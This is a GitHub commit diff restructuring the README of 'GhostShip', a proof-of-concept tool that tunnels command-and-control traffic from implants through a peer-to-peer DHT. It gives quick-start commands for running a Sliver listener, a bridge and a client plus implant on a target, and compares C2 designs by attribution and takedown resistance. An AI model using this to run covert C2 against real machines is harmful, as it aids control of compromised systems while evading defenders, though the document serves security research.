Skip to content

Commit 8e65ceb

Browse files
bitsalvbitsalv
committed
docs: restructure README with balanced C2 comparison
- Cleaner structure: what -> how -> quickstart -> comparison -> about - Objective comparison table with pros AND cons for both approaches - Added P2P disadvantages: latency, no offline, bootstrap dependency, fingerprinting, debugging complexity, tooling maturity - Neutral bottom line summary - Condensed PoC limitations section
1 parent 7f20861 commit 8e65ceb

1 file changed

Lines changed: 50 additions & 88 deletions

File tree

‎README.md‎

Lines changed: 50 additions & 88 deletions
Original file line numberDiff line numberDiff line change
@@ -1,125 +1,87 @@
11
# GhostShip 👻🚢
22

3-
## P2P Tunnel for C2 Traffic
3+
P2P tunnel for C2 traffic over [HyperDHT](https://github.com/holepunchto/hyperdht).
44

5-
[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
6-
[![Status: Proof of Concept](https://img.shields.io/badge/Status-PoC-orange.svg)](#)
7-
8-
---
9-
10-
> **⚠️ This is a Proof of Concept** — validates P2P transport only. Not stealthy, easily detected by EDR/XDR.
11-
12-
---
13-
14-
## Overview
15-
16-
**GhostShip** is a PoC peer-to-peer tunnel that transports C2 traffic through [HyperDHT](https://github.com/holepunchto/hyperdht).
17-
18-
Using HyperDHT from the [Pear](https://pears.com/) / [Holepunch](https://holepunch.to/) ecosystem, C2 traffic traverses a decentralized DHT—no public IPs, domains, or VPS needed.
5+
> **⚠️ Proof of Concept** — validates transport concept only. Not stealthy, detected by EDR/XDR.
196
207
---
218

229
## How It Works
2310

2411
```
25-
[Target Machine] [Operator Machine]
26-
27-
C2 Implant C2 Server
28-
(e.g., Sliver) (e.g., Sliver)
29-
| |
30-
v v
31-
127.0.0.1:8888 127.0.0.1:8888
32-
| |
33-
v v
34-
GhostShip Client <------P2P/DHT------> GhostShip Bridge
12+
[Target] [Operator]
13+
14+
Implant C2 Server
15+
| |
16+
v v
17+
127.0.0.1:8888 127.0.0.1:8888
18+
| |
19+
v v
20+
Client <-----------P2P/DHT------------> Bridge
3521
```
3622

37-
1. Operator starts C2 server (e.g., Sliver mTLS on port 8888)
38-
2. **Bridge** connects to local C2 and exposes it via HyperDHT, generating a key (`hs://...`)
39-
3. **Client** on target connects to DHT using the key, opens local port for implant
40-
4. Implant connects to `127.0.0.1:8888`, traffic flows through P2P tunnel
41-
42-
---
43-
44-
## Traditional C2 vs Native P2P C2
45-
46-
The table below compares **traditional centralized C2** with a **hypothetical native P2P C2** (not this PoC).
47-
48-
| Aspect | Traditional C2 | Native P2P C2 |
49-
|--------|---------------|---------------|
50-
| **Topology** | Star (clients → central server) | Mesh (peer-to-peer via DHT) |
51-
| **Infrastructure** | VPS, domains, static IPs | Zero—DHT is public |
52-
| **Single Point of Failure** | Server takedown = total loss | No central server to seize |
53-
| **Attribution** | WHOIS, IP registration, hosting logs | DHT anonymity layer |
54-
| **Cost** | $10-100+/month | Free |
55-
| **Setup Time** | Hours/days | Seconds |
56-
| **Domain Fronting** | Often required | Not needed—no domains |
57-
| **IP Rotation** | Manual or infra-dependent | Automatic via DHT |
58-
| **Sinkholing** | Domains can be seized | No DNS = nothing to sinkhole |
59-
| **Traffic Blending** | Patterns to known IPs | Blends with Pear/Keet traffic |
60-
| **Takedown** | Single target | No central point |
61-
| **NAT Traversal** | Port forwarding/redirectors | Built-in hole-punching |
62-
| **Encryption** | Implementation-dependent | E2E by default (Noise) |
63-
| **Certificates** | Required for HTTPS/mTLS | Key-based identity |
64-
| **Redundancy** | Multiple servers needed | Inherent in DHT mesh |
65-
| **Offline Queuing** | Server stores commands | Both peers must be online |
66-
| **Latency** | Low (direct) | Higher (DHT routing) |
67-
| **Network IOCs** | Known IPs, domains | DHT bootstrap nodes only |
68-
| **DNS Queries** | C2 domain lookups | None |
69-
| **JA3/JA3S** | Fingerprintable TLS | Noise protocol signature |
70-
71-
---
72-
73-
## About This PoC
74-
75-
GhostShip is a **proof of concept** that validates P2P transport feasibility using HyperDHT. It wraps existing C2 traffic through a Node.js tunnel—useful for research and experimentation, but not operationally viable.
76-
77-
A true native P2P C2 would be purpose-built from scratch: small native binary, process injection/hollowing, in-memory IPC instead of local ports, and proper evasion techniques (AMSI/ETW bypass, anti-forensics). This PoC has none of that—it runs visible Node.js processes, opens detectable TCP ports, and will be flagged by any competent EDR/XDR.
23+
1. **Bridge** connects to local C2 server, exposes it via DHT, outputs key (`hs://...`)
24+
2. **Client** connects to DHT with key, opens local port
25+
3. Implant connects to localhost, traffic tunnels through P2P
7826

7927
---
8028

8129
## Quick Start
8230

83-
### Operator Side
84-
31+
**Operator:**
8532
```bash
86-
# Start Sliver
87-
sliver-server
33+
sliver-server # Start C2
8834
sliver > mtls --lport 8888
8935

90-
# Start Bridge
9136
cd bridge/nodejs && npm install
92-
node bridge.js --port 8888
93-
# Note the key: hs://abc123...
37+
node bridge.js --port 8888 # Note: hs://...
9438
```
9539

96-
### Target Side
97-
40+
**Target:**
9841
```bash
99-
# Start Client
10042
cd client && npm install
101-
node client.js --connect "hs://abc123..." --port 8888
43+
node client.js --connect "hs://..." --port 8888
10244

103-
# Run implant configured for 127.0.0.1:8888
104-
./implant
45+
./implant # Connects to 127.0.0.1:8888
10546
```
10647

107-
### Receive Session
48+
---
10849

109-
```
110-
sliver > sessions
111-
```
50+
## Traditional C2 vs P2P C2
51+
52+
| Aspect | Traditional C2 | P2P C2 |
53+
|--------|---------------|--------|
54+
| **Infrastructure** | VPS, domains, static IPs | None (public DHT) |
55+
| **Cost** | $10-100+/month | Free |
56+
| **Setup time** | Hours/days | Seconds |
57+
| **Single point of failure** | Yes (server) | No |
58+
| **Attribution** | WHOIS, IP, hosting logs | Lower (DHT layer) |
59+
| **Sinkholing risk** | Domains seizeable | No DNS to seize |
60+
| **NAT traversal** | Redirectors needed | Built-in hole-punching |
61+
| **Encryption** | Implementation-dependent | E2E default (Noise) |
62+
| **Latency** | Low, predictable | Higher, variable |
63+
| **Offline queuing** | Yes | No (both online required) |
64+
| **Bootstrap dependency** | None | DHT nodes (blockable) |
65+
| **Traffic fingerprint** | Known IPs/domains | DHT patterns detectable |
66+
| **Protocol signature** | JA3 fingerprintable | Noise also fingerprintable |
67+
| **Tooling maturity** | Established | Emerging |
68+
| **Debugging** | Straightforward | Complex (distributed) |
69+
| **Multi-operator** | Teamserver features | Requires custom impl |
70+
71+
**Bottom line:** P2P eliminates infrastructure but adds latency and complexity. Traditional C2 is mature and reliable but requires operational security for infrastructure. Choose based on your threat model.
11272

11373
---
11474

115-
## Disclaimer
75+
## About This PoC
11676

117-
**Authorized security research and educational purposes only.**
77+
This PoC validates that HyperDHT can transport C2 traffic. It's a Node.js wrapper—not operationally viable.
11878

119-
Unauthorized access to computer systems is illegal. Always obtain proper authorization.
79+
A native P2P C2 would need: small binary, process injection, in-memory IPC, evasion (AMSI/ETW bypass). This PoC has visible processes, open ports, ~70MB footprint, zero evasion.
12080

12181
---
12282

123-
## License
83+
## Disclaimer
84+
85+
Authorized security research only. Unauthorized access is illegal.
12486

125-
MIT License - See [LICENSE](LICENSE) for details.
87+
MIT License

0 commit comments

Comments
 (0)